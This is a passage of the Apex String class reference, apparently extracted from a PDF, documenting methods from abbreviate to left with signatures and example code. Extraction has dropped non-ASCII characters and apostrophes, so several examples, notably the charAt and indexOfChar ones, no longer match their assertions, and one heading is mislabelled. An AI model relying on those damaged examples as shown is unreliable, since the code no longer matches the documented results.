Note that the offset is not necessarily the leftmost character in the returned String or the first character following the ellipses, but it
appears somewhere in the result. Regardless, abbreviate wont return a String of length greater than maxWidth.If maxWidth
is too small, this method throws a run-time exception.
offset

Type: Integer

Return Value
Type: String

2373

Reference

String Class

Example
String s = 'Hello Maximillian';
// Start at M
String s2 = s.abbreviate(9,6);
System.assertEquals('...Max...', s2);
System.assertEquals(9, s2.length());

capitalize()
Returns the current String with the first letter changed to title case.

Signature
public String capitalize()

Return Value
Type: String

Usage
This method is based on the Character.toTitleCase(char) Java method.

Example
String s = 'hello maximillian';
String s2 = s.capitalize();
System.assertEquals('Hello maximillian', s2);

center(size)
Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center. If
the specified size is smaller than the current String size, the entire String is returned without added spaces.

Signature
public String center(Integer size)

Parameters
size

Type: Integer

Return Value
Type: String

2374

Reference

String Class

Example
String s = 'hello';
String s2 = s.center(9);
System.assertEquals(
' hello ',
s2);

center(size, paddingString)
Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears in
the center. If the specified size is smaller than the current String size, the entire String is returned without padding.

Signature
public String center(Integer size, String paddingString)

Parameters
size

Type: Integer
paddingString

Type: String

Return Value
Type: String

Example
String s = 'hello';
String s2 = s.center(9, '-');
System.assertEquals('--hello--', s2);

charAt(index)
Returns the value of the character at the specified index.

Signature
public Integer charAt(Integer index)

Parameters
index

Type: Integer
The index of the character to get the value of.

2375

Reference

String Class

Return Value
Type: Integer
The integer value of the character.

Usage
The charAt method returns the value of the character pointed to by the specified index. If the index points to the beginning of a
surrogate pair (the high-surrogate code point), this method returns only the high-surrogate code point. To return the supplementary
code point corresponding to a surrogate pair, call codePointAt instead.

Example
This example gets the value of the first character at index 0.
String str = ' is Omega.';
System.assertEquals(937, str.charAt(0));

This example shows the difference between charAt and codePointAt. The example calls these methods on escaped supplementary
Unicode characters. charAt(0) returns the high surrogate value, which corresponds to \uD835. codePointAt(0) returns
the value for the entire surrogate pair.
String str = '\uD835\uDD0A';
System.assertEquals(55349, str.charAt(0),
'charAt(0) didn\'t return the high surrogate.');
System.assertEquals(120074, str.codePointAt(0),
'codePointAt(0) didn\'t return the entire two-character supplementary value.');

codePointAt(index)
Returns the Unicode code point value at the specified index.

Signature
public Integer codePointAt(Integer index)

Parameters
index

Type: Integer
The index of the characters (Unicode code units) in the string. The index range is from zero to the string length minus one.

Return Value
Type: Integer
The Unicode code point value at the specified index.

2376

Reference

String Class

Usage
If the index points to the beginning of a surrogate pair (the high-surrogate code point), and the character value at the following index
points to the low-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. Otherwise,
this method returns the character value at the given index.
For more information on Unicode and surrogate pairs, see The Unicode Consortium.

Example
This example gets the code point value of the first character at index 0, which is the escaped Omega character. Also, the example gets
the code point at index 20, which corresponds to the escaped supplementary Unicode characters (a pair of characters). Finally, it verifies
that the escaped and unescaped forms of Omega have the same code point values.
The supplementary characters in this example (\\uD835\\uDD0A) correspond to mathematical fraktur capital G:
String str = '\u03A9 is (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointAt(0));
System.assertEquals(120074, str.codePointAt(20));
// Escaped or unescaped forms of the same character have the same code point
System.assertEquals(str.codePointAt(0), str.codePointAt(5));

codePointBefore(index)
Returns the Unicode code point value that occurs before the specified index.

Signature
public Integer codePointBefore(Integer index)

Parameters
index

Type: Integer
The index before the Unicode code point that is to be returned. The index range is from one to the string length.

Return Value
Type: Integer
The character or Unicode code point value that occurs before the specified index.

Usage
If the character value at index-1 is the low-surrogate code point, and index-2 is not negative and the character at this index
location is the high-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. If the
character value at index-1 is an unpaired low-surrogate or high-surrogate code point, the surrogate value is returned.
For more information on Unicode and surrogate pairs, see The Unicode Consortium.

2377

Reference

String Class

Example
This example gets the code point value of the first character (before index 1), which is the escaped Omega character. Also, the example
gets the code point at index 20, which corresponds to the escaped supplementary characters (the two characters before index 22).
String str = '\u03A9 is (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointBefore(1));
System.assertEquals(120074, str.codePointBefore(22));

codePointCount(beginIndex, endIndex)
Returns the number of Unicode code points within the specified text range.

Signature
public Integer codePointCount(Integer beginIndex, Integer endIndex)

Parameters
beginIndex

Type: Integer
The index of the first character in the range.
endIndex

Type: Integer
The index after the last character in the range.

Return Value
Type: Integer
The number of Unicode code points within the specified range.

Usage
The specified range begins at beginIndex and ends at endIndex1. Unpaired surrogates within the text range count as one
code point each.

Example
This example writes the count of code points in a substring that contains an escaped Unicode character and another substring that
contains Unicode supplementary characters, which count as one code point.
String str = '\u03A9 and \uD835\uDD0A characters.';
System.debug('Count of code points for ' + str.substring(0,1)
+ ': ' + str.codePointCount(0,1));
System.debug('Count of code points for ' + str.substring(6,8)
+ ': ' + str.codePointCount(6,8));
// Output:
// Count of code points for : 1
// Count of code points for
: 1

2378

Reference

String Class

compareTo(secondString)
Compares two strings lexicographically, based on the Unicode value of each character in the Strings.

Signature
public Integer compareTo(String secondString)

Parameters
secondString

Type: String

Return Value
Type: Integer

Usage
The result is:
A negative Integer if the String that called the method lexicographically precedes secondString
A positive Integer if the String that called the method lexicographically follows compsecondStringString
Zero if the Strings are equal
If there is no index position at which the Strings differ, then the shorter String lexicographically precedes the longer String.
Note that this method returns 0 whenever the equals method returns true.

Example
String myString1 = 'abcde';
String myString2 = 'abcd';
Integer result =
myString1.compareTo(myString2);
System.assertEquals(result, 1);

contains(substring)
Returns true if and only if the String that called the method contains the specified sequence of characters in substring.

Signature
public Boolean contains(String substring)

Parameters
substring

Type: String

Return Value
Type: Boolean

2379

Reference

String Class

Example
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result =
myString1.contains(myString2);
System.assertEquals(result, true);

containsAny(inputString)
Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.

Signature
public Boolean containsAny(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Boolean

Example
String s = 'hello';
Boolean b1 = s.containsAny('hx');
Boolean b2 = s.containsAny('x');
System.assertEquals(true, b1);
System.assertEquals(false, b2);

containsIgnoreCase(substring)
Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.

Signature
public Boolean containsIgnoreCase(String substring)

Parameters
substring

Type: String

Return Value
Type: Boolean

2380

Reference

String Class

Example
String s = 'hello';
Boolean b = s.containsIgnoreCase('HE');
System.assertEquals(
true,
b);

containsNone(inputString)
Returns true if the current String doesnt contain any of the characters in the specified String; otherwise, returns false.

Signature
public Boolean containsNone(String inputString)

Parameters
inputString

Type: String
If inputString is an empty string or the current String is empty, this method returns true. If inputString is null, this
method returns a run-time exception.

Return Value
Type: Boolean

Example
String s1 = 'abcde';
System.assert(s1.containsNone('fg'));

containsOnly(inputString)
Returns true if the current String contains characters only from the specified sequence of characters and not any other characters;
otherwise, returns false.

Signature
public Boolean containsOnly(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Boolean

2381

Reference

String Class

Example
String s1 = 'abba';
String s2 = 'abba xyz';
Boolean b1 =
s1.containsOnly('abcd');
System.assertEquals(
true,
b1);
Boolean b2 =
s2.containsOnly('abcd');
System.assertEquals(
false,
b2);

containsWhitespace()
Returns true if the current String contains any white space characters; otherwise, returns false.

Signature
public Boolean containsWhitespace()

Return Value
Type: Boolean

Example
String s = 'Hello Jane';
System.assert(s.containsWhitespace()); //true
s = 'HelloJane ';
System.assert(s.containsWhitespace()); //true
s = ' HelloJane';
System.assert(s.containsWhitespace()); //true
s = 'HelloJane';
System.assert(!s.containsWhitespace()); //false

countMatches(substring)
Returns the number of times the specified substring occurs in the current String.

Signature
public Integer countMatches(String substring)

Parameters
substring

Type: String

2382

Reference

String Class

Return Value
Type: Integer

Example
String s = 'Hello Jane';
System.assertEquals(1, s.countMatches('Hello'));
s = 'Hello Hello';
System.assertEquals(2, s.countMatches('Hello'));
s = 'Hello hello';
System.assertEquals(1, s.countMatches('Hello'));

deleteWhitespace()
Returns a version of the current String with all white space characters removed.

Signature
public String deleteWhitespace()

Return Value
Type: String

Example
String s1 = ' Hello Jane ';
String s2 = 'HelloJane';
System.assertEquals(s2, s1.deleteWhitespace());

difference(secondString)
Returns the difference between the current String and the specified String.

Signature
public String difference(String secondString)

Parameters
secondString

Type: String
If secondString is an empty string, this method returns an empty string.If secondString is null, this method throws a
run-time exception.

Return Value
Type: String

2383

Reference

String Class

Example
String s = 'Hello Jane';
String d1 =
s.difference('Hello Max');
System.assertEquals(
'Max',
d1);
String d2 =
s.difference('Goodbye');
System.assertEquals(
'Goodbye',
d2);

endsWith(suffix)
Returns true if the String that called the method ends with the specified suffix.

Signature
public Boolean endsWith(String suffix)

Parameters
suffix

Type: String

Return Value
Type: Boolean

Example
String s = 'Hello Jason';
System.assert(s.endsWith('Jason'));

endsWithIgnoreCase(suffix)
Returns true if the current String ends with the specified suffix; otherwise, returns false.

Signature
public Boolean endsWithIgnoreCase(String suffix)

Parameters
suffix

Type: String

2384

Reference

String Class

Return Value
Type: Boolean

Example
String s = 'Hello Jason';
System.assert(s.endsWithIgnoreCase('jason'));

equals(secondString)
Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents
the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.

Signature
public Boolean equals(String secondString)

Parameters
secondString

Type: String

Return Value
Type: Boolean

Usage
This method returns true when the compareTo method returns 0.
Use this method to perform case-sensitive comparisons. In contrast, the == operator performs case-insensitive string comparisons to
match Apex semantics.

Example
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result = myString1.equals(myString2);
System.assertEquals(result, false);

equals(stringOrId)
Returns true if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use this
method to compare a string to an object that represents a string or an ID.

Signature
public Boolean equals(Object stringOrId)

2385

Reference

String Class

Parameters
stringOrId

Type: Object

Return Value
Type: Boolean

Usage
If you compare ID values, the lengths of IDs dont need to be equal. For example, if you compare a 15-character ID string to an object
that represents the equivalent 18-character ID value, this method returns true. For more information about 15-character and 18-character
IDs, see the ID data type.
Use this method to perform case-sensitive comparisons. In contrast, the == operator performs case-insensitive string comparisons to
match Apex semantics.

Example
These examples show comparisons between different types of variables with both equal and unequal values. The examples also show
how Apex automatically converts certain values before comparing them.
// Compare a string to an object containing a string
Object obj1 = 'abc';
String str = 'abc';
Boolean result1 = str.equals(obj1);
System.assertEquals(true, result1);
// Compare a string to an object containing a number
Integer obj2 = 100;
Boolean result2 = str.equals(obj2);
System.assertEquals(false, result2);
// Compare a string to an ID of the same length.
// 15-character ID
Id idValue15 = '001D000000Ju1zH';
// 15-character ID string value
String stringValue15 = '001D000000Ju1zH';
Boolean result3 = stringValue15.equals(IdValue15);
System.assertEquals(true, result3);
// Compare two equal ID values of different lengths:
// 15-character ID and 18-character ID
Id idValue18 = '001D000000Ju1zHIAR';
Boolean result4 = stringValue15.equals(IdValue18);
System.assertEquals(true, result4);

equalsIgnoreCase(secondString)
Returns true if the secondString is not null and represents the same sequence of characters as the String that called the method,
ignoring case.

2386

Reference

String Class

Signature
public Boolean equalsIgnoreCase(String secondString)

Parameters
secondString

Type: String

Return Value
Type: Boolean

Example
String myString1 = 'abcd';
String myString2 = 'ABCD';
Boolean result =
myString1.equalsIgnoreCase(myString2);
System.assertEquals(result, true);

escapeCsv()
Returns a String for a CSV column enclosed in double quotes, if required.

Signature
public String escapeCsv()

Return Value
Type: String

Usage
If the String contains a comma, newline or double quote, the returned String is enclosed in double quotes. Also, any double quote
characters in the String are escaped with another double quote.
If the String doesnt contain a comma, newline or double quote, it is returned unchanged.

Example
String s1 = 'Max1, "Max2"';
String s2 = s1.escapeCsv();
System.assertEquals('"Max1, ""Max2"""', s2);

escapeEcmaScript()
Escapes the characters in the String using EcmaScript String rules.

2387

Reference

String Class

Signature
public String escapeEcmaScript()

Return Value
Type: String

Usage
The only difference between Apex strings and EcmaScript strings is that in EcmaScript, a single quote and forward-slash (/) are escaped.

Example
String s1 = '"grade": 3.9/4.0';
String s2 = s1.escapeEcmaScript();
System.debug(s2);
// Output is:
// \"grade\": 3.9\/4.0
System.assertEquals(
'\\"grade\\": 3.9\\/4.0',
s2);

escapeHtml3()
Escapes the characters in a String using HTML 3.0 entities.

Signature
public String escapeHtml3()

Return Value
Type: String

Example
String s1 =
'"<Black&White>"';
String s2 =
s1.escapeHtml3();
System.debug(s2);
// Output:
// "<Black&
// White>"

escapeHtml4()
Escapes the characters in a String using HTML 4.0 entities.

2388

Reference

String Class

Signature
public String escapeHtml4()

Return Value
Type: String

Example
String s1 =
'"<Black&White>"';
String s2 =
s1.escapeHtml4();
System.debug(s2);
// Output:
// "<Black&
// White>"

escapeJava()
Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters, such
as tab, backslash, and carriage return characters.

Signature
public String escapeJava()

Return Value
Type: String
The escaped string.

Example
// Input string contains quotation marks
String s = 'Company: "Salesforce.com"';
String escapedStr = s.escapeJava();
// Output string has the quotes escpaded
System.assertEquals('Company: \\"Salesforce.com\\"', escapedStr);

escapeSingleQuotes(stringToEscape)
Returns a String with the escape character (\) added before any single quotation marks in the String s.

Signature
public static String escapeSingleQuotes(String stringToEscape)

2389

Reference

String Class

Parameters
stringToEscape

Type: String

Return Value
Type: String

Usage
This method is useful when creating a dynamic SOQL statement, to help prevent SOQL injection. For more information on dynamic
SOQL, see Dynamic SOQL.

Example
String s = '\'Hello Jason\'';
system.debug(s); // Outputs 'Hello Jason'
String escapedStr = String.escapeSingleQuotes(s);
// Outputs \'Hello Jason\'
system.debug(escapedStr);
// Escapes the string \\\' to string \'
system.assertEquals('\\\'Hello Jason\\\'', escapedStr);

escapeUnicode()
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.

Signature
public String escapeUnicode()

Return Value
Type: String
The escaped string.

Example
String s = 'De onde voc ?';
String escapedStr = s.escapeUnicode();
System.assertEquals('De onde voc\\u00EA \\u00E9?', escapedStr);

escapeXml()
Escapes the characters in a String using XML entities.

Signature
public String escapeXml()

2390

Reference

String Class

Return Value
Type: String

Usage
Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities. Unicode characters greater
than 0x7f are not escaped.

Example
String s1 =
'"<Black&White>"';
String s2 =
s1.escapeXml();
System.debug(s2);
// Output:
// "<Black&
// White>"

format(stringToFormat, formattingArguments)
Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.

Signature
public static String format(String stringToFormat, List<String> formattingArguments)

Parameters
stringToFormat

Type: String
formattingArguments

Type: List<String>

Return Value
Type: String

Example
String placeholder = 'Hello {0}, {1} is cool!';
List<String> fillers = new String[]{'Jason','Apex'};
String formatted = String.format(placeholder, fillers);
System.assertEquals('Hello Jason, Apex is cool!', formatted);

fromCharArray(charArray)
Returns a String from the values of the list of integers.

2391

Reference

String Class

Signature
public static String fromCharArray(List<Integer> charArray)

Parameters
charArray

Type: List<Integer>

Return Value
Type: String

Example
List<Integer> charArr= new Integer[]{74};
String convertedChar = String.fromCharArray(charArr);
System.assertEquals('J', convertedChar);

getChars()
Returns an array of character values that represent the characters in this string.

Signature
public List<Integer> getChars()

Return Value
Type: List<String>
A list of integers, each corresponding to a character value in the string.

Example
This sample converts a string to a character array and then gets the first array element, which corresponds to the value of 'J'.
String str = 'Jane goes fishing.';
Integer[] chars = str.getChars();
// Get the value of 'J'
System.assertEquals(74, chars[0]);

getCommonPrefix(strings)
Returns the initial sequence of characters as a String that is common to all the specified Strings.

Signature
public static String getCommonPrefix(List<String> strings)

2392

Reference

String Class

Parameters
strings

Type: List<String>

Return Value
Type: String

Example
List<String> ls = new List<String>{'SFDCApex', 'SFDCVisualforce'};
String prefix = String.getCommonPrefix(ls);
System.assertEquals('SFDC', prefix);

getLevenshteinDistance(stringToCompare)
Returns the Levenshtein distance between the current String and the specified String.

Signature
public Integer getLevenshteinDistance(String stringToCompare)

Parameters
stringToCompare

Type: String

Return Value
Type: Integer

Usage
The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character
modification (deletion, insertion or substitution).

Example
String s = 'Hello Joe';
Integer i = s.getLevenshteinDistance('Hello Max');
System.assertEquals(3, i);

getLevenshteinDistance(stringToCompare, threshold)
Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold;
otherwise, returns -1.

Signature
public Integer getLevenshteinDistance(String stringToCompare, Integer threshold)

2393

Reference

String Class

Parameters
stringToCompare

Type: String
threshold

Type: Integer

Return Value
Type: Integer

Usage
The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character
modification (deletion, insertion or substitution).
Example:
In this example, the Levenshtein distance is 3, but the threshold argument is 2, which is less than the distance, so this method returns
-1.

Example
String s = 'Hello Jane';
Integer i = s.getLevenshteinDistance('Hello Max', 2);
System.assertEquals(-1, i);

hashCode()
Returns a hash code value for this string.

Signature
public Integer hashCode()

Return Value
Type: Integer

Usage
This value is based on the hash code computed by the Java String.hashCode counterpart method.
You can use this method to simplify the computation of a hash code for a custom type that contains String member variables. You can
compute your types hash code value based on the hash code of each String variable. For example:
For more details about the use of hash code methods with custom types, see Using Custom Types in Map Keys and Sets.

Example
public class MyCustomClass {
String x,y;
// Provide a custom hash code

2394

Reference

String Class

public Integer hashCode() {

return
(31*x.hashCode())^(y.hashCode());
}
}

indexOf(substring)
Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.

Signature
public Integer indexOf(String substring)

Parameters
substring

Type: String

Return Value
Type: Integer

Example
String myString1 = 'abcde';
String myString2 = 'cd';
Integer result = myString1.indexOf(mystring2);
System.assertEquals(2, result);

indexOf(substring, index)
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring does
not occur, this method returns -1.

Signature
public Integer indexOf(String substring, Integer index)

Parameters
substring

Type: String
index

Type: Integer

Return Value
Type: Integer

2395

Reference

String Class

Example
String myString1 = 'abcdabcd';
String myString2 = 'ab';
Integer result = myString1.indexOf(mystring2, 1);
System.assertEquals(4, result);

indexOfAny(substring)
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns
-1.

Signature
public Integer indexOfAny(String substring)

Parameters
substring

Type: String

Return Value
Type: Integer

Example
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAny(s2);
System.assertEquals(2, result);

indexOfAnyBut(substring)
Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.

Signature
public Integer indexOfAnyBut(String substring)

Parameters
substring

Type: String

Return Value
Type: Integer

2396

Reference

String Class

Example
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAnyBut(s2);
System.assertEquals(0, result);

indexOfChar(character)
Returns the index of the first occurrence of the character that corresponds to the specified character value.

Signature
public Integer indexOfChar(Integer character)

Parameters
character

Type: Integer
The integer value of the character in the string.

Return Value
Type: Integer
The index of the first occurrence of the specified character, -1 if the character is not found.

Usage
The index that this method returns is in Unicode code units.

Example
String str = '\\u03A9 is (Omega)';
// Returns 0, which is the first character.
System.debug('indexOfChar(937)=' + str.indexOfChar(937));
// Output:
// indexOfChar(937)=0

indexOfChar(character, startIndex)
Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified
index.

Signature
public Integer indexOfChar(Integer character, Integer startIndex)

2397

Reference

String Class

Parameters
character

Type: Integer
The integer value of the character to look for.
startIndex

Type: Integer
The index to start the search from.

Return Value
Type: Integer
The index, starting from the specified start index, of the first occurrence of the specified character, -1 if the character is not found.

Usage
The index that this method returns is in Unicode code units.

Example
This example shows different ways of searching for the index of the Omega character. The first call to indexOfChar doesnt specify
a start index and therefore the returned index is 0, which is the first occurrence of Omega in the entire string. The subsequent calls specify
a start index to find the occurrence of Omega in substrings that start at the specified index.
String str = ' and \\u03A9 and ';
System.debug('indexOfChar(937)=' + str.indexOfChar(937));
System.debug('indexOfChar(937,1)=' + str.indexOfChar(937,1));
System.debug('indexOfChar(937,10)=' + str.indexOfChar(937,10));
//
//
//
//

Output:
indexOfChar(937)=0
indexOfChar(937,1)=6, (corresponds to the escaped form \\u03A9)
indexOfChar(937,10)=12

indexOfDifference(stringToCompare)
Returns the zero-based index of the character where the current String begins to differ from the specified String.

Signature
public Integer indexOfDifference(String stringToCompare)

Parameters
stringToCompare

Type: String

Return Value
Type: Integer

2398

Reference

String Class

Example
String s1 = 'abcd';
String s2 = 'abxc';
Integer result = s1.indexOfDifference(s2);
System.assertEquals(2, result);

indexOfIgnoreCase(substring)
Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur,
this method returns -1.

Signature
public Integer indexOfIgnoreCase(String substring)

Parameters
substring

Type: String

Return Value
Type: Integer

Example
String s1 = 'abcd';
String s2 = 'BC';
Integer result = s1.indexOfIgnoreCase(s2, 0);
System.assertEquals(1, result);

indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index i, without regard to case. If the
substring does not occur, this method returns -1.

Signature
public Integer indexOfIgnoreCase(String substring, Integer startPosition)

Parameters
substring

Type: String
startPosition

Type: Integer

Return Value
Type: Integer

2399

Reference

String Class

isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.

Signature
public Boolean isAllLowerCase()

Return Value
Type: Boolean

Example
String allLower = 'abcde';
System.assert(allLower.isAllLowerCase());

isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.

Signature
public Boolean isAllUpperCase()

Return Value
Type: Boolean

Example
String allUpper = 'ABCDE';
System.assert(allUpper.isAllUpperCase());

isAlpha()
Returns true if all characters in the current String are Unicode letters only; otherwise, returns false.

Signature
public Boolean isAlpha()

Return Value
Type: Boolean

Example
// Letters only
String s1 = 'abc';

2400

Reference

String Class

// Returns true
Boolean b1 =
s1.isAlpha();
System.assertEquals(
true, b1);
// Letters and numbers
String s2 = 'abc 21';
// Returns false
Boolean b2 =
s2.isAlpha();
System.assertEquals(
false, b2);

isAlphaSpace()
Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.

Signature
public Boolean isAlphaSpace()

Return Value
Type: Boolean

Example
String alphaSpace = 'aA Bb';
System.assert(alphaSpace.isAlphaSpace());
String notAlphaSpace = 'ab 12';
System.assert(!notAlphaSpace.isAlphaSpace());
notAlphaSpace = 'aA$Bb';
System.assert(!notAlphaSpace.isAlphaSpace());

isAlphanumeric()
Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.

Signature
public Boolean isAlphanumeric()

Return Value
Type: Boolean

Example
// Letters only
String s1 = 'abc';

2401

Reference

String Class

// Returns true
Boolean b1 =
s1.isAlphanumeric();
System.assertEquals(
true, b1);
// Letters and numbers
String s2 = 'abc021';
// Returns true
Boolean b2 =
s2.isAlphanumeric();
System.assertEquals(
true, b2);

isAlphanumericSpace()
Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.

Signature
public Boolean isAlphanumericSpace()

Return Value
Type: Boolean

Example
String alphanumSpace = 'AE 86';
System.assert(alphanumSpace.isAlphanumericSpace());
String notAlphanumSpace = 'aA$12';
System.assert(!notAlphanumSpace.isAlphaSpace());

isAsciiPrintable()
Returns true if the current String contains only ASCII printable characters; otherwise, returns false.

Signature
public Boolean isAsciiPrintable()

Return Value
Type: Boolean

Example
String ascii = 'abcd1234!@#$%^&*()`~-_+={[}]|:<,>.?';
System.assert(ascii.isAsciiPrintable());
String notAscii = '';
System.assert(!notAscii.isAsciiPrintable());

2402

Reference

String Class

isBlank(inputString)
Returns true if the specified String is white space, empty (''), or null; otherwise, returns false.

Signature
public static Boolean isBlank(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Boolean

Example
String blank = '';
String nullString = null;
String whitespace = ' ';
System.assert(String.isBlank(blank));
System.assert(String.isBlank(nullString));
System.assert(String.isBlank(whitespace));
String alpha = 'Hello';
System.assert(!String.isBlank(alpha));

isEmpty(inputString)
Returns true if the specified String is empty ('') or null; otherwise, returns false.

Signature
public static Boolean isEmpty(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Boolean

Example
String empty = '';
String nullString = null;
System.assert(String.isEmpty(empty));
System.assert(String.isEmpty(nullString));

2403

Reference

String Class

String whitespace = ' ';

String alpha = 'Hello';
System.assert(!String.isEmpty(whitespace));
System.assert(!String.isEmpty(alpha));

isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (''), and not null; otherwise, returns false.

Signature
public static Boolean isNotBlank(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Boolean

Example
String alpha = 'Hello world!';
System.assert(String.isNotBlank(alpha));
String blank = '';
String nullString = null;
String whitespace = ' ';
System.assert(!String.isNotBlank(blank));
System.assert(!String.isNotBlank(nullString));
System.assert(!String.isNotBlank(whitespace));

isNotEmpty(inputString)
Returns true if the specified String is not empty ('') and not null; otherwise, returns false.

Signature
public static Boolean isNotEmpty(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Boolean

2404

Reference

String Class

Example
String whitespace = ' ';
String alpha = 'Hello world!';
System.assert(String.isNotEmpty(whitespace));
System.assert(String.isNotEmpty(alpha));
String empty = '';
String nullString = null;
System.assert(!String.isNotEmpty(empty));
System.assert(!String.isNotEmpty(nullString));

isNumeric()
Returns true if the current String contains only Unicode digits; otherwise, returns false.

Signature
public Boolean isNumeric()

Return Value
Type: Boolean

Usage
A decimal point (1.2) is not a Unicode digit.

Example
String numeric = '1234567890';
System.assert(numeric.isNumeric());
String alphanumeric = 'R32';
String decimalPoint = '1.2';
System.assert(!alphanumeric.isNumeric());
System.assert(!decimalpoint.isNumeric());

isNumericSpace()
Returns true if the current String contains only Unicode digits or spaces; otherwise, returns false.

Signature
public Boolean isNumericSpace()

Return Value
Type: Boolean

Usage
A decimal point (1.2) is not a Unicode digit.

2405

Reference

String Class

Example
String numericSpace = '1 2 3';
System.assert(numericSpace.isNumericspace());
String notNumericspace = 'FD3S FC3S';
System.assert(!notNumericspace.isNumericspace());

isWhitespace()
Returns true if the current String contains only white space characters or is empty; otherwise, returns false.

Signature
public Boolean isWhitespace()

Return Value
Type: Boolean

Example
String whitespace = ' ';
String blank = '';
System.assert(whitespace.isWhitespace());
System.assert(blank.isWhitespace());
String alphanum = 'SIL80';
System.assert(!alphanum.isWhitespace());

join(iterableObj, separator)
Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.

Signature
public static String join(Object iterableObj, String separator)

Parameters
iterableObj

Type: Object
separator

Type: String

Return Value
Type: String

2406

Reference

String Class

Usage
List<Integer> li = new
List<Integer>
{10, 20, 30};
String s = String.join(
li, '/');
System.assertEquals(
'10/20/30', s);

lastIndexOf(substring)
Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.

Signature
public Integer lastIndexOf(String substring)

Parameters
substring

Type: String

Return Value
Type: Integer

Example
String s1 = 'abcdefgc';
Integer i1 = s1.lastIndexOf('c');
System.assertEquals(7, i1);

lastIndexOf(substring, endPosition)
Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified
index.

Signature
public Integer lastIndexOf(String substring, Integer endPosition)

Parameters
substring

Type: String
endPosition

Type: Integer

2407

Reference

String Class

Return Value
Type: Integer

Usage
If the substring doesnt occur or endPosition is negative, this method returns -1. If endPosition is larger than the last index
in the current String, the entire String is searched.

Example
String s1 = 'abcdaacd';
Integer i1 =
s1.lastIndexOf('c', 7);
System.assertEquals(
6, i1);
Integer i2 =
s1.lastIndexOf('c', 3);
System.assertEquals(
2, i2);

indexOfChar(character)
Returns the index of the last occurrence of the character that corresponds to the specified character value.

Signature
public Integer indexOfChar(Integer character)

Parameters
character

Type: Integer
The integer value of the character in the string.

Return Value
Type: Integer
The index of the last occurrence of the specified character, -1 if the character is not found.

Usage
The index that this method returns is in Unicode code units.

Example
String str = '\u03A9 is (Omega)';
// Get the last occurrence of Omega.
System.assertEquals(5, str.lastIndexOfChar(937));

2408

Reference

String Class

lastIndexOfChar(character, endIndex)
Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified
index.

Signature
public Integer lastIndexOfChar(Integer character, Integer endIndex)

Parameters
character

Type: Integer
The integer value of the character to look for.
endIndex

Type: Integer
The index to end the search at.

Return Value
Type: Integer
The index, starting from the specified start index, of the last occurrence of the specified character. -1 if the character is not found.

Usage
The index that this method returns is in Unicode code units.

Example
This example shows different ways of searching for the index of the last occurrence of the Omega character. The first call to
lastIndexOfChar doesnt specify an end index and therefore the returned index is 12, which is the last occurrence of Omega in
the entire string. The subsequent calls specify an end index to find the last occurrence of Omega in substrings.
String str = ' and \u03A9 and ';
System.assertEquals(12, str.lastIndexOfChar(937));
System.assertEquals(6, str.lastIndexOfChar(937,11));
System.assertEquals(0, str.lastIndexOfChar(937,5));

lastIndexOfIgnoreCase(substring)
Returns the index of the last occurrence of the specified substring regardless of case.

Signature
public Integer lastIndexOfIgnoreCase(String substring)

Parameters
substring

Type: String

2409

Reference

String Class

Return Value
Type: Integer

Usage
If the substring doesnt occur, this method returns -1.

Example
String s1 = 'abcdaacd';
Integer i1 =
s1.lastIndexOfIgnoreCase('DAAC');
System.assertEquals(
3, i1);

lastIndexOfIgnoreCase(substring, endPosition)
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and ending
at the specified index.

Signature
public Integer lastIndexOfIgnoreCase(String substring, Integer endPosition)

Parameters
substring

Type: String
endPosition

Type: Integer

Return Value
Type: Integer

Usage
If the substring doesnt occur or endPosition is negative, this method returns -1. If endPosition is larger than the last index
in the current String, the entire String is searched.

Example
String s1 = 'abcdaacd';
Integer i1 =
s1.lastIndexOfIgnoreCase('C', 7);
System.assertEquals(
6, i1);

2410

Reference

String Class

left(length)
Returns the leftmost characters of the current String of the specified length.

Signature
public String left(Integer length)

Parameters
length

Type: Integer

Return Value
